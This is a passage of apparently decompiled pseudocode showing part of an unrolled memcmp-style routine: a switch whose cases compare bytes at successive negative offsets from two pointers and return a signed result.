										__esi =  *(__eax - 8) & 0x000000ff;
										__edx =  *(__ecx - 8) & 0x000000ff;
										__esi = ( *(__eax - 8) & 0x000000ff) - ( *(__ecx - 8) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L404;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L401;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L399;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L397;
						case 0xc:
							L143:
							__edx =  *(__eax - 0xc);
							if( *(__eax - 0xc) ==  *(__ecx - 0xc)) {
								__esi = 0;
								L153:
								if(__esi != 0) {
									goto L98;
								}
								goto L154;
							}
							__edx =  *(__ecx - 0xc) & 0x000000ff;
							__esi =  *(__eax - 0xc) & 0x000000ff;
							__esi = ( *(__eax - 0xc) & 0x000000ff) - ( *(__ecx - 0xc) & 0x000000ff);
							if(__esi == 0) {
								L146:
								__esi =  *(__eax - 0xb) & 0x000000ff;
								__edx =  *(__ecx - 0xb) & 0x000000ff;
								__esi = ( *(__eax - 0xb) & 0x000000ff) - ( *(__ecx - 0xb) & 0x000000ff);
								if(__esi == 0) {
									L148:
									__esi =  *(__eax - 0xa) & 0x000000ff;
									__edx =  *(__ecx - 0xa) & 0x000000ff;
									__esi = ( *(__eax - 0xa) & 0x000000ff) - ( *(__ecx - 0xa) & 0x000000ff);
									if(__esi == 0) {
										L150:
										__esi =  *(__eax - 9) & 0x000000ff;
										__edx =  *(__ecx - 9) & 0x000000ff;
										__esi = ( *(__eax - 9) & 0x000000ff) - ( *(__ecx - 9) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L153;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L150;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L148;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L146;
						case 0xd:
							L223:
							__edx =  *(__eax - 0xd);
							if( *(__eax - 0xd) ==  *(__ecx - 0xd)) {
								__esi = 0;
								L233:
								if(__esi != 0) {
									goto L98;
								}
								goto L234;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0xd) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0xd) & 0x000000ff);
							if(__esi == 0) {
								L226:
								__esi =  *(__eax - 0xc) & 0x000000ff;
								__edx =  *(__ecx - 0xc) & 0x000000ff;
								__esi = ( *(__eax - 0xc) & 0x000000ff) - ( *(__ecx - 0xc) & 0x000000ff);
								if(__esi == 0) {
									L228:
									__esi =  *(__eax - 0xb) & 0x000000ff;
									__edx =  *(__ecx - 0xb) & 0x000000ff;
									__esi = ( *(__eax - 0xb) & 0x000000ff) - ( *(__ecx - 0xb) & 0x000000ff);
									if(__esi == 0) {
										L230:
										__esi =  *(__eax - 0xa) & 0x000000ff;
										__edx =  *(__ecx - 0xa) & 0x000000ff;
										__esi = ( *(__eax - 0xa) & 0x000000ff) - ( *(__ecx - 0xa) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L233;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L230;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L228;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L226;
						case 0xe:
							L302:
							__edx =  *(__eax - 0xe);
							if( *(__eax - 0xe) ==  *(__ecx - 0xe)) {
								__esi = 0;
								L312:
								if(__esi != 0) {
									goto L98;
								}
								goto L313;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0xe) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0xe) & 0x000000ff);
							if(__esi == 0) {
								L305:
								__esi =  *(__eax - 0xd) & 0x000000ff;
								__edx =  *(__ecx - 0xd) & 0x000000ff;
								__esi = ( *(__eax - 0xd) & 0x000000ff) - ( *(__ecx - 0xd) & 0x000000ff);
								if(__esi == 0) {
									L307:
									__esi =  *(__eax - 0xc) & 0x000000ff;
									__edx =  *(__ecx - 0xc) & 0x000000ff;
									__esi = ( *(__eax - 0xc) & 0x000000ff) - ( *(__ecx - 0xc) & 0x000000ff);
									if(__esi == 0) {
										L309:
										__esi =  *(__eax - 0xb) & 0x000000ff;
										__edx =  *(__ecx - 0xb) & 0x000000ff;
										__esi = ( *(__eax - 0xb) & 0x000000ff) - ( *(__ecx - 0xb) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L312;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L309;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L307;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L305;
						case 0xf:
							L383:
							__edx =  *(__eax - 0xf);
							if( *(__eax - 0xf) ==  *(__ecx - 0xf)) {
								__esi = 0;
								L393:
								if(__esi != 0) {
									goto L98;
								}
								goto L394;
							}
							__edx =  *(__ecx - 0xf) & 0x000000ff;
							__esi =  *(__eax - 0xf) & 0x000000ff;
							__esi = ( *(__eax - 0xf) & 0x000000ff) - ( *(__ecx - 0xf) & 0x000000ff);
							if(__esi == 0) {
								L386:
								__esi =  *(__eax - 0xe) & 0x000000ff;
								__edx =  *(__ecx - 0xe) & 0x000000ff;
								__esi = ( *(__eax - 0xe) & 0x000000ff) - ( *(__ecx - 0xe) & 0x000000ff);
								if(__esi == 0) {
									L388:
									__esi =  *(__eax - 0xd) & 0x000000ff;
									__edx =  *(__ecx - 0xd) & 0x000000ff;
									__esi = ( *(__eax - 0xd) & 0x000000ff) - ( *(__ecx - 0xd) & 0x000000ff);
									if(__esi == 0) {
										L390:
										__esi =  *(__eax - 0xc) & 0x000000ff;
										__edx =  *(__ecx - 0xc) & 0x000000ff;
										__esi = ( *(__eax - 0xc) & 0x000000ff) - ( *(__ecx - 0xc) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L393;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L390;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L388;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L386;
						case 0x10:
							L132:
							__edx =  *(__eax - 0x10);
							if( *(__eax - 0x10) ==  *(__ecx - 0x10)) {
								__esi = 0;
								L142:
								if(__esi != 0) {
									goto L98;
								}
								goto L143;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x10) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x10) & 0x000000ff);
							if(__esi == 0) {
								L135:
								__esi =  *(__eax - 0xf) & 0x000000ff;
								__edx =  *(__ecx - 0xf) & 0x000000ff;
								__esi = ( *(__eax - 0xf) & 0x000000ff) - ( *(__ecx - 0xf) & 0x000000ff);
								if(__esi == 0) {
									L137:
									__esi =  *(__eax - 0xe) & 0x000000ff;
									__edx =  *(__ecx - 0xe) & 0x000000ff;
									__esi = ( *(__eax - 0xe) & 0x000000ff) - ( *(__ecx - 0xe) & 0x000000ff);
									if(__esi == 0) {
										L139:
										__esi =  *(__eax - 0xd) & 0x000000ff;
										__edx =  *(__ecx - 0xd) & 0x000000ff;
										__esi = ( *(__eax - 0xd) & 0x000000ff) - ( *(__ecx - 0xd) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L142;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L139;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L137;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L135;
						case 0x11:
							L212:
							__edx =  *(__eax - 0x11);
							if( *(__eax - 0x11) ==  *(__ecx - 0x11)) {
								__esi = 0;
								L222:
								if(__esi != 0) {
									goto L98;
								}
								goto L223;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x11) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x11) & 0x000000ff);
							if(__esi == 0) {
								L215:
								__esi =  *(__eax - 0x10) & 0x000000ff;
								__edx =  *(__ecx - 0x10) & 0x000000ff;
								__esi = ( *(__eax - 0x10) & 0x000000ff) - ( *(__ecx - 0x10) & 0x000000ff);
								if(__esi == 0) {
									L217:
									__esi =  *(__eax - 0xf) & 0x000000ff;
									__edx =  *(__ecx - 0xf) & 0x000000ff;
									__esi = ( *(__eax - 0xf) & 0x000000ff) - ( *(__ecx - 0xf) & 0x000000ff);
									if(__esi == 0) {
										L219:
										__esi =  *(__eax - 0xe) & 0x000000ff;
										__edx =  *(__ecx - 0xe) & 0x000000ff;
										__esi = ( *(__eax - 0xe) & 0x000000ff) - ( *(__ecx - 0xe) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L222;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L219;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L217;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L215;
						case 0x12:
							L291:
							__edx =  *(__eax - 0x12);
							if( *(__eax - 0x12) ==  *(__ecx - 0x12)) {
								__esi = 0;
								L301:
								if(__esi != 0) {
									goto L98;
								}
								goto L302;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x12) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x12) & 0x000000ff);
							if(__esi == 0) {
								L294:
								__esi =  *(__eax - 0x11) & 0x000000ff;
								__edx =  *(__ecx - 0x11) & 0x000000ff;
								__esi = ( *(__eax - 0x11) & 0x000000ff) - ( *(__ecx - 0x11) & 0x000000ff);
								if(__esi == 0) {
									L296:
									__esi =  *(__eax - 0x10) & 0x000000ff;
									__edx =  *(__ecx - 0x10) & 0x000000ff;
									__esi = ( *(__eax - 0x10) & 0x000000ff) - ( *(__ecx - 0x10) & 0x000000ff);
									if(__esi == 0) {
										L298:
										__esi =  *(__eax - 0xf) & 0x000000ff;
										__edx =  *(__ecx - 0xf) & 0x000000ff;
										__esi = ( *(__eax - 0xf) & 0x000000ff) - ( *(__ecx - 0xf) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L301;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L298;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L296;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L294;
						case 0x13:
							L372:
							__edx =  *(__eax - 0x13);
							if( *(__eax - 0x13) ==  *(__ecx - 0x13)) {
								__esi = 0;
								L382:
								if(__esi != 0) {
									goto L98;
								}
								goto L383;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x13) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x13) & 0x000000ff);
							if(__esi == 0) {
								L375:
								__esi =  *(__eax - 0x12) & 0x000000ff;
								__edx =  *(__ecx - 0x12) & 0x000000ff;
								__esi = ( *(__eax - 0x12) & 0x000000ff) - ( *(__ecx - 0x12) & 0x000000ff);
								if(__esi == 0) {
									L377:
									__esi =  *(__eax - 0x11) & 0x000000ff;
									__edx =  *(__ecx - 0x11) & 0x000000ff;
									__esi = ( *(__eax - 0x11) & 0x000000ff) - ( *(__ecx - 0x11) & 0x000000ff);
									if(__esi == 0) {
										L379:
										__esi =  *(__eax - 0x10) & 0x000000ff;
										__edx =  *(__ecx - 0x10) & 0x000000ff;
										__esi = ( *(__eax - 0x10) & 0x000000ff) - ( *(__ecx - 0x10) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L382;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L379;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L377;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L375;
						case 0x14:
							L121:
							__edx =  *(__eax - 0x14);
							if( *(__eax - 0x14) ==  *(__ecx - 0x14)) {
								__esi = 0;
								L131:
								if(__esi != 0) {
									goto L98;
								}
								goto L132;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x14) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x14) & 0x000000ff);
							if(__esi == 0) {
								L124:
								__esi =  *(__eax - 0x13) & 0x000000ff;
								__edx =  *(__ecx - 0x13) & 0x000000ff;
								__esi = ( *(__eax - 0x13) & 0x000000ff) - ( *(__ecx - 0x13) & 0x000000ff);
								if(__esi == 0) {
									L126:
									__esi =  *(__eax - 0x12) & 0x000000ff;
									__edx =  *(__ecx - 0x12) & 0x000000ff;
									__esi = ( *(__eax - 0x12) & 0x000000ff) - ( *(__ecx - 0x12) & 0x000000ff);
									if(__esi == 0) {
										L128:
										__esi =  *(__eax - 0x11) & 0x000000ff;
										__edx =  *(__ecx - 0x11) & 0x000000ff;
										__esi = ( *(__eax - 0x11) & 0x000000ff) - ( *(__ecx - 0x11) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L131;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L128;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L126;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L124;
						case 0x15:
							L201:
							__edx =  *(__eax - 0x15);
							if( *(__eax - 0x15) ==  *(__ecx - 0x15)) {
								__esi = 0;
								L211:
								if(__esi != 0) {
									goto L98;
								}
								goto L212;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x15) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x15) & 0x000000ff);
							if(__esi == 0) {
								L204:
								__esi =  *(__eax - 0x14) & 0x000000ff;
								__edx =  *(__ecx - 0x14) & 0x000000ff;
								__esi = ( *(__eax - 0x14) & 0x000000ff) - ( *(__ecx - 0x14) & 0x000000ff);
								if(__esi == 0) {
									L206:
									__esi =  *(__eax - 0x13) & 0x000000ff;
									__edx =  *(__ecx - 0x13) & 0x000000ff;
									__esi = ( *(__eax - 0x13) & 0x000000ff) - ( *(__ecx - 0x13) & 0x000000ff);
									if(__esi == 0) {
										L208:
										__esi =  *(__eax - 0x12) & 0x000000ff;
										__edx =  *(__ecx - 0x12) & 0x000000ff;
										__esi = ( *(__eax - 0x12) & 0x000000ff) - ( *(__ecx - 0x12) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L211;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L208;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L206;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L204;
						case 0x16:
							L280:
							__edx =  *(__eax - 0x16);
							if( *(__eax - 0x16) ==  *(__ecx - 0x16)) {
								__esi = 0;
								L290:
								if(__esi != 0) {
									goto L98;
								}
								goto L291;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x16) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x16) & 0x000000ff);
							if(__esi == 0) {
								L283:
								__esi =  *(__eax - 0x15) & 0x000000ff;
								__edx =  *(__ecx - 0x15) & 0x000000ff;
								__esi = ( *(__eax - 0x15) & 0x000000ff) - ( *(__ecx - 0x15) & 0x000000ff);
								if(__esi == 0) {
									L285:
									__esi =  *(__eax - 0x14) & 0x000000ff;
									__edx =  *(__ecx - 0x14) & 0x000000ff;
									__esi = ( *(__eax - 0x14) & 0x000000ff) - ( *(__ecx - 0x14) & 0x000000ff);
									if(__esi == 0) {
										L287:
										__esi =  *(__eax - 0x13) & 0x000000ff;
										__edx =  *(__ecx - 0x13) & 0x000000ff;
										__esi = ( *(__eax - 0x13) & 0x000000ff) - ( *(__ecx - 0x13) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L290;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L287;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L285;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L283;
						case 0x17:
							L361:
							__edx =  *(__eax - 0x17);
							if( *(__eax - 0x17) ==  *(__ecx - 0x17)) {
								__esi = 0;
								L371:
								if(__esi != 0) {
									goto L98;
								}
								goto L372;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x17) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x17) & 0x000000ff);
							if(__esi == 0) {
								L364:
								__esi =  *(__eax - 0x16) & 0x000000ff;
								__edx =  *(__ecx - 0x16) & 0x000000ff;
								__esi = ( *(__eax - 0x16) & 0x000000ff) - ( *(__ecx - 0x16) & 0x000000ff);
								if(__esi == 0) {
									L366:
									__esi =  *(__eax - 0x15) & 0x000000ff;
									__edx =  *(__ecx - 0x15) & 0x000000ff;
									__esi = ( *(__eax - 0x15) & 0x000000ff) - ( *(__ecx - 0x15) & 0x000000ff);
									if(__esi == 0) {
										L368:
										__esi =  *(__eax - 0x14) & 0x000000ff;
										__edx =  *(__ecx - 0x14) & 0x000000ff;
										__esi = ( *(__eax - 0x14) & 0x000000ff) - ( *(__ecx - 0x14) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L371;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L368;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L366;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L364;
						case 0x18:
							L110:
							__edx =  *(__eax - 0x18);
							if( *(__eax - 0x18) ==  *(__ecx - 0x18)) {
								__esi = 0;
								L120:
								if(__esi != 0) {
									goto L98;
								}
								goto L121;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x18) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x18) & 0x000000ff);
							if(__esi == 0) {
								L113:
								__esi =  *(__eax - 0x17) & 0x000000ff;
								__edx =  *(__ecx - 0x17) & 0x000000ff;
								__esi = ( *(__eax - 0x17) & 0x000000ff) - ( *(__ecx - 0x17) & 0x000000ff);
								if(__esi == 0) {
									L115:
									__esi =  *(__eax - 0x16) & 0x000000ff;
									__edx =  *(__ecx - 0x16) & 0x000000ff;
									__esi = ( *(__eax - 0x16) & 0x000000ff) - ( *(__ecx - 0x16) & 0x000000ff);
									if(__esi == 0) {
										L117:
										__esi =  *(__eax - 0x15) & 0x000000ff;
										__edx =  *(__ecx - 0x15) & 0x000000ff;
										__esi = ( *(__eax - 0x15) & 0x000000ff) - ( *(__ecx - 0x15) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L120;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L117;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L115;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L113;
						case 0x19:
							L190:
							__edx =  *(__eax - 0x19);
							if( *(__eax - 0x19) ==  *(__ecx - 0x19)) {
								__esi = 0;
								L200:
								if(__esi != 0) {
									goto L98;
								}
								goto L201;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x19) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
							if(__esi == 0) {
								L193:
								__esi =  *(__eax - 0x18) & 0x000000ff;
								__edx =  *(__ecx - 0x18) & 0x000000ff;
								__esi = ( *(__eax - 0x18) & 0x000000ff) - ( *(__ecx - 0x18) & 0x000000ff);
								if(__esi == 0) {
									L195:
									__esi =  *(__eax - 0x17) & 0x000000ff;
									__edx =  *(__ecx - 0x17) & 0x000000ff;
									__esi = ( *(__eax - 0x17) & 0x000000ff) - ( *(__ecx - 0x17) & 0x000000ff);
									if(__esi == 0) {
										L197:
										__esi =  *(__eax - 0x16) & 0x000000ff;
										__edx =  *(__ecx - 0x16) & 0x000000ff;
										__esi = ( *(__eax - 0x16) & 0x000000ff) - ( *(__ecx - 0x16) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L200;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L197;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L195;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L193;
						case 0x1a:
							L269:
							__edx =  *(__eax - 0x1a);
							if( *(__eax - 0x1a) ==  *(__ecx - 0x1a)) {
								__esi = 0;
								L279:
								if(__esi != 0) {
									goto L98;
								}
								goto L280;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L272:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi == 0) {
									L274:
									__esi =  *(__eax - 0x18) & 0x000000ff;
									__edx =  *(__ecx - 0x18) & 0x000000ff;
									__esi = ( *(__eax - 0x18) & 0x000000ff) - ( *(__ecx - 0x18) & 0x000000ff);
									if(__esi == 0) {
										L276:
										__esi =  *(__eax - 0x17) & 0x000000ff;
										__edx =  *(__ecx - 0x17) & 0x000000ff;
										__esi = ( *(__eax - 0x17) & 0x000000ff) - ( *(__ecx - 0x17) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L279;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L276;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L274;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L272;
						case 0x1b:
							L350:
							__edx =  *(__eax - 0x1b);
							if( *(__eax - 0x1b) ==  *(__ecx - 0x1b)) {
								__esi = 0;
								L360:
								if(__esi != 0) {
									goto L98;
								}
								goto L361;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L353:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi == 0) {
									L355:
									__esi =  *(__eax - 0x19) & 0x000000ff;
									__edx =  *(__ecx - 0x19) & 0x000000ff;
									__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
									if(__esi == 0) {
										L357:
										__esi =  *(__eax - 0x18) & 0x000000ff;
